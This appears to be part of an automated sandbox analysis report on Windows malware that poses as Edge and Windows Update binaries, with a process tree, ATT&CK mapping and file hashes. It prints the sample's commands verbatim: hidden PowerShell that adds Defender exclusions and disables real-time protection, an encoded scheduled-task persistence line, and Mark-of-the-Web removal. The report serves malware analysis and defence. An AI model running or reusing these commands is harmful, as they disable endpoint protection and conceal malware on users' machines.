  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\" -Value 0 -PropertyType DWORD -Force|Out-Null}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxNaWNyb3NvZnRcXEVkZ2VVcGRhdGUiLCJDOlxcVXNlcnNcXEFkbWluXFxEb3dubG9hZHMiKTtmb3JlYWNoKCRwIGluICRlKXt0cnl7QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAkcCAtRUEgMH1jYXRjaHt9fQ==" /sc minute /mo 5 /f /rl LIMITED"
  2⤵
  PID:3336
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxNaWNyb3NvZnRcXEVkZ2VVcGRhdGUiLCJDOlxcVXNlcnNcXEFkbWluXFxEb3dubG9hZHMiKTtmb3JlYWNoKCRwIGluICRlKXt0cnl7QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAkcCAtRUEgMH1jYXRjaHt9fQ==" /sc minute /mo 5 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2132

C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:2452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 836" /nh 2>nul"
  2⤵
  PID:3744
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 836" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:4456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:2932
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:1768

C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:3968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 836" /nh 2>nul"
  2⤵
  PID:4956
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 836" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:4404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:580
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:1748

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:1984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 836" /nh 2>nul"
  2⤵
  PID:772
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 836" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:4420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:424
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:2940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
MD5 22e796539d05c5390c21787da1fb4c2b
SHA1 55320ebdedd3069b2aaf1a258462600d9ef53a58
SHA512 d9cc0cb22df56db72a71504bb3ebc36697e0a7a1d2869e0e0ab61349bda603298fe6c667737b79bf2235314fb49b883ba4c5f137d002e273e79391038ecf9c09
TLSH
T15061DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

MicrosoftEdgeUpdate.exe:Zone.Identifier

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier
Size 26B
SHA256 1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33
MD5 cb9db8b13f2e7d1ae122b5b6c2381b25
SHA1 ea06df82dba8cc567e95c43e6214872e52fdb05b
SHA512 937778c5cd8c35ec2a0811856214ad95446b14f91c306632117e9bc79740b5baa57c2051ba21765acbf0fced496ca547a08b8bdda85d8c8b700a44826a602ed0
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 eac79146599354ee6c44e0af03ab76f049305db0c500b3e143b8d220b4efecf3
MD5 ed24abb252577d8393acaedebc2762ff
SHA1 d962fee8afd1133f66e0c4748687eaaa40afc2e7
SHA512 169a6d9616a22c44866f31ce3423e6bee0242389e80c7b22082f2ae89bc47be25beb6e5046867618a4b25b71f9f577194cc3d1e364dc46821d33a89fa9dc0203
SSDEEP 1536:KflJd+h4iUxTYkzvd5fKQOUpeE711kDa5ljNC+jH0IMjMFYoe9V3CNBQkj2QOdBT:KflJd+qiUTYkzvd5fKQOUpeE711kDa5S
TLSH
T15C538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download